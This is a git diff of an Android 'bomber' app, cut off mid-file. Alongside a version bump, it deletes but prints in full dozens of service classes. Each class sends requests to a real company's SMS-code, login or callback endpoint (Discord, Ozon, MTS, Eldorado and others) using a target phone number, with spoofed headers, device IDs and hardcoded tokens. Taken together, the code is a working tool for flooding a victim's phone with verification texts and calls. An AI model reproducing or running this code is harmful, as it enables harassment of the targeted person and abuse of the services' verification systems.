diff --git a/.idea/misc.xml b/.idea/misc.xml
index fed6542..3017b57 100644
--- a/.idea/misc.xml
+++ b/.idea/misc.xml
@@ -16,9 +16,13 @@
+
+
+
+
diff --git a/app/build.gradle b/app/build.gradle
index 78b7854..5d5d69a 100644
--- a/app/build.gradle
+++ b/app/build.gradle
@@ -17,7 +17,7 @@ android {
applicationId "com.dm.bomber"
minSdkVersion 21
targetSdkVersion 32
- versionCode 18
+ versionCode 19
versionName "1.11"
}
@@ -44,7 +44,8 @@ dependencies {
implementation 'androidx.preference:preference:1.2.0'
implementation 'androidx.work:work-runtime:2.7.1'
- implementation 'com.google.android.material:material:1.6.0-alpha03'
+ implementation 'com.google.android.material:material:1.6.0-beta01'
+
implementation 'com.squareup.okhttp3:okhttp:5.0.0-alpha.5'
implementation 'jp.wasabeef:blurry:4.0.1'
}
\ No newline at end of file
diff --git a/app/release/output-metadata.json b/app/release/output-metadata.json
index e6e01ed..5a51726 100644
--- a/app/release/output-metadata.json
+++ b/app/release/output-metadata.json
@@ -11,8 +11,8 @@
"type": "SINGLE",
"filters": [],
"attributes": [],
- "versionCode": 18,
- "versionName": "1.10.4",
+ "versionCode": 19,
+ "versionName": "1.11",
"outputFile": "app-release.apk"
}
],
diff --git a/app/src/main/java/com/dm/bomber/services/Aitu.java b/app/src/main/java/com/dm/bomber/services/Aitu.java
deleted file mode 100644
index cc695ff..0000000
--- a/app/src/main/java/com/dm/bomber/services/Aitu.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-public class Aitu extends JsonService {
-
- public Aitu() {
- setUrl("https://passport.aitu.io/api/v1/sms/request-code");
- setMethod(POST);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", "+" + getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/AptekaOtSklada.java b/app/src/main/java/com/dm/bomber/services/AptekaOtSklada.java
deleted file mode 100644
index 6541d04..0000000
--- a/app/src/main/java/com/dm/bomber/services/AptekaOtSklada.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import okhttp3.Request;
-
-public class AptekaOtSklada extends JsonService {
-
- public AptekaOtSklada() {
- setUrl("https://apteka-ot-sklada.ru/api/auth/requestBySms");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36");
- builder.addHeader("Referer", "https://apteka-ot-sklada.ru/");
- builder.addHeader("Cookie", "view=cells; rrpvid=24619267054741; _ym_uid=1636286951705640313; _ym_d=1636286951; _userGUID=0:kvp703r5:SMXe9bUHp0EH7rSESSEl5f0Cok3so0~f; dSesn=5f508f7e-3233-c0ad-9615-da80eeb230d9; _dvs=0:kvp703r5:ObGEZ0XDeSbtbpM5Jj2VUiyZMqb4Ew9O; rcuid=61599a1653897c0001d741da; _ym_visorc=w; _fbp=fb.1.1636286951447.1474107645; _ga=GA1.2.183591085.1636286952; _gid=GA1.2.1930335220.1636286952; _gat_gtag_UA_65450830_1=1; _ym_isad=2; mark=7967c245-86b4-40c8-afb5-7fbf3359583d; rrwpswu=true");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/BApteka.java b/app/src/main/java/com/dm/bomber/services/BApteka.java
deleted file mode 100644
index d891f9f..0000000
--- a/app/src/main/java/com/dm/bomber/services/BApteka.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.Request;
-
-public class BApteka extends Gorparkovka {
-
- public BApteka() {
- setUrl("https://b-apteka.ru/api/lk/send_code");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("User-Agent", "Dalvik/2.1.0 (Linux; U; Android 11; M2010J19SY Build/RKQ1.201004.002)");
- builder.addHeader("b-apteka-session", "null");
-
- return super.buildRequest(builder);
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/CallMyPhone.java b/app/src/main/java/com/dm/bomber/services/CallMyPhone.java
deleted file mode 100644
index 035cdc6..0000000
--- a/app/src/main/java/com/dm/bomber/services/CallMyPhone.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.dm.bomber.services;
-
-import java.util.UUID;
-
-import okhttp3.HttpUrl;
-import okhttp3.Request;
-
-public class CallMyPhone extends ParamsService {
-
- public CallMyPhone() {
- setUrl("https://callmyphone.org/do-call");
- setMethod(POST);
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("Cookie", "uid=" + UUID.randomUUID().toString());
-
- return super.buildRequest(builder);
- }
-
- @Override
- public void buildParams(HttpUrl.Builder builder) {
- builder.addQueryParameter("phone", "+" + getFormattedPhone());
- builder.addQueryParameter("browser", "undefined;");
- builder.addQueryParameter("fgp", UUID.randomUUID().toString());
- builder.addQueryParameter("fgp2", UUID.randomUUID().toString());
- builder.addQueryParameter("rememberNumber", "0");
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/CarSmile.java b/app/src/main/java/com/dm/bomber/services/CarSmile.java
deleted file mode 100644
index 6f75466..0000000
--- a/app/src/main/java/com/dm/bomber/services/CarSmile.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import okhttp3.Request;
-
-public class CarSmile extends JsonService {
-
- public CarSmile() {
- setUrl("https://api.carsmile.com/");
- setMethod(POST);
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("User-Agent", "okhttp/3.12.1");
- builder.addHeader("authorization", "Bearer null");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("operationName", "enterPhone");
- json.put("variables", new JSONObject().put("phone", getFormattedPhone()));
- json.put("query", "mutation enterPhone($phone: String!) {\n enterPhone(phone: $phone)\n}\n");
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/ChestnyZnak.java b/app/src/main/java/com/dm/bomber/services/ChestnyZnak.java
deleted file mode 100644
index 04a039f..0000000
--- a/app/src/main/java/com/dm/bomber/services/ChestnyZnak.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-public class ChestnyZnak extends JsonService {
-
- public ChestnyZnak() {
- setUrl("https://mobile.api.crpt.ru/mobile/login");
- setMethod(POST);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Choco.java b/app/src/main/java/com/dm/bomber/services/Choco.java
deleted file mode 100644
index a02462e..0000000
--- a/app/src/main/java/com/dm/bomber/services/Choco.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.FormBody;
-
-public class Choco extends FormService {
-
- public Choco() {
- setUrl("https://api-proxy.choco.kz/user/v2/code");
- setMethod(POST);
- }
-
- @Override
- public void buildBody(FormBody.Builder builder) {
- builder.add("login", getFormattedPhone());
- builder.add("client_id", "-5");
- builder.add("dispatch_type", "call");
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Citimobil.java b/app/src/main/java/com/dm/bomber/services/Citimobil.java
deleted file mode 100644
index e829be1..0000000
--- a/app/src/main/java/com/dm/bomber/services/Citimobil.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import okhttp3.Request;
-
-public class Citimobil extends JsonService {
-
- public Citimobil() {
- setUrl("https://c-api.city-mobil.ru/client/v1/auth/phone/send");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("cm-market", "googlePlay");
- builder.addHeader("cm-app-os-name", "Android");
- builder.addHeader("cm-app-version", "4.75.1.1173");
- builder.addHeader("cm-app-os-version", "11");
- builder.addHeader("cm-app-os-android-api-version", "30");
- builder.addHeader("cm-device-time", "2021-08-14T02:45:39.635+05:00");
- builder.addHeader("cm-device", "abcdefghjklm12345");
- builder.addHeader("cm-session", "bruhhhh");
- builder.addHeader("cm-notification-token", "shshwjwjsjdj");
- builder.addHeader("User-Agent", "CMRider/4.75.1.1173 (Android 11; Xiaomi MABOBA; dick)");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", getFormattedPhone());
- json.put("brand", "Redmi");
- json.put("model", "MABOBA");
- json.put("os_version", "11");
- json.put("adv_id", "random");
- json.put("android_id", "abcdefghjklm12345");
- json.put("ver", "4.75.1");
- json.put("appsflyer_id", "bruh");
- json.put("auth_token", "");
- json.put("devid", "abcdefghjklm12345");
- json.put("device_token", "random");
- json.put("id_device", "abcdefghjklm12345");
- json.put("locale", "ru");
- json.put("method", "v1/auth/phone/send");
- json.put("phone_os", "android");
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Discord.java b/app/src/main/java/com/dm/bomber/services/Discord.java
deleted file mode 100644
index 6f44ffa..0000000
--- a/app/src/main/java/com/dm/bomber/services/Discord.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-public class Discord extends JsonService {
-
- public Discord() {
- setUrl("https://discord.com/api/v9/auth/register/phone");
- setMethod(POST);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", "+" + getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Eldorado.java b/app/src/main/java/com/dm/bomber/services/Eldorado.java
deleted file mode 100644
index b22065e..0000000
--- a/app/src/main/java/com/dm/bomber/services/Eldorado.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import okhttp3.Request;
-
-public class Eldorado extends JsonService {
-
- public Eldorado() {
- setUrl("https://mobileapi.eldorado.ru/v1/user/auth/login");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("User-Agent", "Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 3 Build/QQ3A.200905.001)");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
- JSONObject body = new JSONObject();
- JSONObject head = new JSONObject();
-
- try {
- body.put("userLogin", "+" + getFormattedPhone());
- head.put("uid", "unknown");
- head.put("os", "unknown");
- head.put("v", "unknown");
- head.put("FbToken", "unknown");
- json.put("requestBody", body);
- json.put("requestHeader", head);
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/FoodBand.java b/app/src/main/java/com/dm/bomber/services/FoodBand.java
deleted file mode 100644
index ce02f61..0000000
--- a/app/src/main/java/com/dm/bomber/services/FoodBand.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.HttpUrl;
-
-public class FoodBand extends ParamsService {
-
- public FoodBand() {
- setUrl("https://is.foodband.ru/api/rest/public/v2/customers/sendVerificationCode");
- setPhoneCode("7");
- }
-
- @Override
- public void buildParams(HttpUrl.Builder builder) {
- builder.addQueryParameter("phone", phone);
- builder.addQueryParameter("token", "173f3678-b66c-4074-a280-f7df26009d26");
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/FriendsClub.java b/app/src/main/java/com/dm/bomber/services/FriendsClub.java
deleted file mode 100644
index 96e8fd5..0000000
--- a/app/src/main/java/com/dm/bomber/services/FriendsClub.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-public class FriendsClub extends JsonService {
-
- public FriendsClub() {
- setUrl("https://lk.friendsclub.ru/CustomerOfficeService/Identity/RequestAdvancedPhoneEmailRegistration");
- setMethod(POST);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("signature", "CaS5aeKZO1B");
- json.put("mobilePhone", "+" + getFormattedPhone());
- json.put("Source", "11");
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/GoldApple.java b/app/src/main/java/com/dm/bomber/services/GoldApple.java
deleted file mode 100644
index 5a9b8fe..0000000
--- a/app/src/main/java/com/dm/bomber/services/GoldApple.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-public class GoldApple extends JsonService {
-
- public GoldApple() {
- setUrl("https://goldapple.ru/rest/V2.1/mobile/auth/send_sms_code?store_id=1&type=android");
- setMethod(POST);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Gorparkovka.java b/app/src/main/java/com/dm/bomber/services/Gorparkovka.java
deleted file mode 100644
index d1ce980..0000000
--- a/app/src/main/java/com/dm/bomber/services/Gorparkovka.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import okhttp3.Request;
-
-public class Gorparkovka extends JsonService {
-
- public Gorparkovka() {
- setUrl("https://belparking.ru/auth/api/1.0/pincodes");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("x-client-info", "androidMobileApp/2.6.5");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Ievaphone.java b/app/src/main/java/com/dm/bomber/services/Ievaphone.java
deleted file mode 100644
index 2d8506b..0000000
--- a/app/src/main/java/com/dm/bomber/services/Ievaphone.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.dm.bomber.services;
-
-import java.util.UUID;
-
-import okhttp3.HttpUrl;
-import okhttp3.Request;
-
-public class Ievaphone extends ParamsService {
-
- public Ievaphone() {
- setUrl("https://ievaphone.com/call-my-phone/web/request-free-call");
- setMethod(POST);
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("Cookie", "smscookie=" + UUID.randomUUID().toString());
-
- return super.buildRequest(builder);
- }
-
- @Override
- public void buildParams(HttpUrl.Builder builder) {
- builder.addQueryParameter("phone", getFormattedPhone());
- builder.addQueryParameter("domain", "IEVAPHONE");
- builder.addQueryParameter("browser", "undefined;");
- builder.addQueryParameter("fgp", UUID.randomUUID().toString());
- builder.addQueryParameter("fgp2", UUID.randomUUID().toString());
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/MTS.java b/app/src/main/java/com/dm/bomber/services/MTS.java
deleted file mode 100644
index 7695036..0000000
--- a/app/src/main/java/com/dm/bomber/services/MTS.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.HttpUrl;
-
-public class MTS extends ParamsService {
-
- public MTS() {
- setUrl("https://prod.tvh.mts.ru/tvh-public-api-gateway/public/rest/general/send-code");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public void buildParams(HttpUrl.Builder builder) {
- builder.addQueryParameter("msisdn", getFormattedPhone());
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Metro.java b/app/src/main/java/com/dm/bomber/services/Metro.java
deleted file mode 100755
index b50b2b1..0000000
--- a/app/src/main/java/com/dm/bomber/services/Metro.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import okhttp3.Request;
-
-public class Metro extends JsonService {
-
- public Metro() {
- setUrl("https://api.metro-cc.ru/auth/api/v1/public/send_otp");
- setMethod(POST);
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("authorization", "9c0fe65e-51a9-4b7c-a54d-b2b28f3a922f");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", "+" + getFormattedPhone());
- json.put("smsHash", "hi2LBOdVq64");
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Modulebank.java b/app/src/main/java/com/dm/bomber/services/Modulebank.java
deleted file mode 100644
index 85e51f2..0000000
--- a/app/src/main/java/com/dm/bomber/services/Modulebank.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-public class Modulebank extends JsonService {
-
- public Modulebank() {
- setUrl("https://my.modulbank.ru/api/v2/registration/nameAndPhone");
- setMethod(POST);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("FirstName", getRussianName());
- json.put("CellPhone", phone);
- json.put("Package", "optimal");
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/MoeZdorovie.java b/app/src/main/java/com/dm/bomber/services/MoeZdorovie.java
deleted file mode 100644
index d638018..0000000
--- a/app/src/main/java/com/dm/bomber/services/MoeZdorovie.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.FormBody;
-import okhttp3.HttpUrl;
-import okhttp3.Request;
-
-public class MoeZdorovie extends ParamsService {
-
- public MoeZdorovie() {
- setUrl("https://mc.moezdorovie.ru/api/identity/Account/LoginApi");
- setMethod(POST);
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- FormBody.Builder body = new FormBody.Builder();
- body.add("phone", "+" + getFormattedPhone());
-
- builder.addHeader("User-Agent", "Mozilla/5.0 (Linux; Android 11; None Build/RKQ1.201004.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.159 Mobile Safari/537.36");
-
- builder.method(method, body.build());
- return super.buildRequest(builder);
- }
-
- @Override
- public void buildParams(HttpUrl.Builder builder) {
- builder.addQueryParameter("phoneNumber", "+" + getFormattedPhone());
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Mozen.java b/app/src/main/java/com/dm/bomber/services/Mozen.java
deleted file mode 100755
index 019ec1c..0000000
--- a/app/src/main/java/com/dm/bomber/services/Mozen.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import okhttp3.Request;
-
-public class Mozen extends JsonService {
-
- public Mozen() {
- setUrl("https://mobile.mozen.io/api/auth/1/login/phone");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("x-app-id", "e2010c2f-3983-4e5c-b297-ccfb82a678ee");
- builder.addHeader("x-device-id", "null");
- builder.addHeader("x-app-version", "v1.4.344-mozen-release");
- builder.addHeader("x-app-flavour", "mozen");
- builder.addHeader("x-platform", "android");
- builder.addHeader("x-user-location", "lat=0.000000&lon=0.000000");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", "+" + getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/OK.java b/app/src/main/java/com/dm/bomber/services/OK.java
deleted file mode 100644
index 872071a..0000000
--- a/app/src/main/java/com/dm/bomber/services/OK.java
+++ /dev/null
@@ -1,16 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.FormBody;
-
-public class OK extends FormService {
-
- public OK() {
- setUrl("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone");
- setMethod(POST);
- }
-
- @Override
- public void buildBody(FormBody.Builder builder) {
- builder.add("st.r.phone", "+" + getFormattedPhone());
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Ozon.java b/app/src/main/java/com/dm/bomber/services/Ozon.java
deleted file mode 100644
index 86ff8c2..0000000
--- a/app/src/main/java/com/dm/bomber/services/Ozon.java
+++ /dev/null
@@ -1,76 +0,0 @@
-package com.dm.bomber.services;
-
-import androidx.annotation.NonNull;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import java.io.IOException;
-
-import okhttp3.Call;
-import okhttp3.MediaType;
-import okhttp3.OkHttpClient;
-import okhttp3.Request;
-import okhttp3.RequestBody;
-import okhttp3.Response;
-
-public class Ozon extends Service {
-
- @Override
- public void run(OkHttpClient client, Callback callback) {
- JSONObject json = new JSONObject();
-
- try {
- json.put("vendor", "Xiaomi");
- json.put("hasSmartLock", "true");
- json.put("hasBiometrics", "true");
- json.put("biometryType", "FINGER_PRINT");
- json.put("model", "Xiaomi M2010J19SY");
- json.put("deviceId", "none");
- json.put("version", "11");
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- client.newCall(new Request.Builder()
- .url("https://api.ozon.ru/composer-api.bx/page/json/v1?url=%2Fmy%2Fentry%2Fcredentials-required")
- .header("User-Agent", "ozonapp_android/13.18+1650")
- .post(RequestBody.create(json.toString(), MediaType.parse("application/json")))
- .build()).enqueue(new okhttp3.Callback() {
- @Override
- public void onFailure(@NonNull Call call, @NonNull IOException e) {
- callback.onFailure(call, e);
- }
-
- @Override
- public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
- try {
- JSONObject json = new JSONObject(response.body().string());
- JSONObject req = new JSONObject();
-
- req.put("vendor", "Xiaomi");
- req.put("hasSmartLock", "true");
- req.put("hasBiometrics", "true");
- req.put("biometryType", "FINGER_PRINT");
- req.put("model", "Xiaomi M2010J19SY");
- req.put("deviceId", "none");
- req.put("version", "11");
- req.put("phone", getFormattedPhone());
-
- client.newCall(new Request.Builder()
- .url("https://api.ozon.ru/composer-api.bx/_action/" + json
- .getJSONObject("csma")
- .getJSONObject("entryCredentialsRequired")
- .getJSONObject("entryCredentialsRequired-227543-default-1")
- .getJSONObject("submitButton")
- .getString("action"))
- .header("User-Agent", "ozonapp_android/13.18+1650")
- .post(RequestBody.create(req.toString(), MediaType.parse("application/json")))
- .build()).enqueue(callback);
- } catch (JSONException | NullPointerException e) {
- callback.onError(e);
- }
- }
- });
- }
-}
\ No newline at end of file
diff --git a/app/src/main/java/com/dm/bomber/services/Pizzaman.java b/app/src/main/java/com/dm/bomber/services/Pizzaman.java
deleted file mode 100644
index ef56fd3..0000000
--- a/app/src/main/java/com/dm/bomber/services/Pizzaman.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.FormBody;
-
-public class Pizzaman extends FormService {
-
- public Pizzaman() {
- setUrl("https://pizzaman.ru/index.php?route=pizzaman/user/sendCode");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public void buildBody(FormBody.Builder builder) {
- builder.add("user", format(phone, "+7+(***)+**-**-***"));
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/PrivetMir.java b/app/src/main/java/com/dm/bomber/services/PrivetMir.java
deleted file mode 100644
index 2c1269a..0000000
--- a/app/src/main/java/com/dm/bomber/services/PrivetMir.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.FormBody;
-
-public class PrivetMir extends FormService {
-
- public PrivetMir() {
- setUrl("https://api-user.privetmir.ru/api/send-code");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public void buildBody(FormBody.Builder builder) {
- builder.add("back_url", "/register/step-2/");
- builder.add("scope", "register-user");
- builder.add("login", getFormattedPhone());
- builder.add("checkExist", "Y");
- builder.add("checkApproves", "Y");
- builder.add("approve1", "on");
- builder.add("approve2", "on");
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/RabotaRu.java b/app/src/main/java/com/dm/bomber/services/RabotaRu.java
deleted file mode 100755
index c01d8bd..0000000
--- a/app/src/main/java/com/dm/bomber/services/RabotaRu.java
+++ /dev/null
@@ -1,79 +0,0 @@
-package com.dm.bomber.services;
-
-import androidx.annotation.NonNull;
-
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import java.io.IOException;
-
-import okhttp3.Call;
-import okhttp3.MediaType;
-import okhttp3.OkHttpClient;
-import okhttp3.Request;
-import okhttp3.RequestBody;
-import okhttp3.Response;
-
-public class RabotaRu extends Service {
-
- @Override
- public void run(OkHttpClient client, Callback callback) {
- JSONObject json = new JSONObject();
- JSONObject request = new JSONObject();
-
- try {
- request.put("device_id", "b4703808bff93aec");
- request.put("google_id", "");
- request.put("is_new_user", false);
- request.put("mobile_app_platform", "android");
- request.put("region_id", "3");
- request.put("user_agent", "Android 11");
- request.put("user_tags", new JSONArray());
- request.put("mobile_app_version", "4.33.7");
- request.put("yandex_id", "");
-
- json.put("request", request);
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- client.newCall(new Request.Builder()
- .url("https://api.rabota.ru/v4/settings.json")
- .header("User-Agent", "Rabota/4.33.7 (ru.rabota.app2; build:2021043307; Android 11) okhttp/4.8.0")
- .post(RequestBody.create(json.toString(), MediaType.parse("application/json")))
- .build()).enqueue(new okhttp3.Callback() {
- @Override
- public void onFailure(@NonNull Call call, @NonNull IOException e) {
- callback.onFailure(call, e);
- }
-
- @Override
- public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
- try {
- JSONObject json = new JSONObject(response.body().string());
- JSONObject request = new JSONObject();
- JSONObject body = new JSONObject();
-
- request.put("is_during_response", false);
- request.put("login", getFormattedPhone());
-
- body.put("request", request);
- body.put("user_tags", new JSONArray());
- body.put("rabota_ru_id", json
- .getJSONObject("response")
- .getString("rabota_ru_id"));
- body.put("application_id", "10");
-
- client.newCall(new Request.Builder()
- .url("https://api.rabota.ru/v4/register.json")
- .header("User-Agent", "Rabota/4.33.7 (ru.rabota.app2; build:2021043307; Android 11) okhttp/4.8.0")
- .post(RequestBody.create(body.toString(), MediaType.parse("application/json")))
- .build()).enqueue(callback);
- } catch (JSONException | NullPointerException e) {
- callback.onError(e);
- }
- }
- });
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Robocredit.java b/app/src/main/java/com/dm/bomber/services/Robocredit.java
deleted file mode 100644
index e9cb002..0000000
--- a/app/src/main/java/com/dm/bomber/services/Robocredit.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import okhttp3.Request;
-
-public class Robocredit extends JsonService {
-
- public Robocredit() {
- setUrl("https://robocredit.ru/api/v1/registration/code/send");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("Accept", "application/json");
- builder.addHeader("Accept-Encoding", "gzip, deflate, br");
- builder.addHeader("Accept-Language", "ru,en-US;q=0.7,en;q=0.3");
- builder.addHeader("Authorization", "react_application_client");
- builder.addHeader("Connection", "keep-alive");
- builder.addHeader("Content-Length", "175");
- builder.addHeader("Content-Type", "application/json");
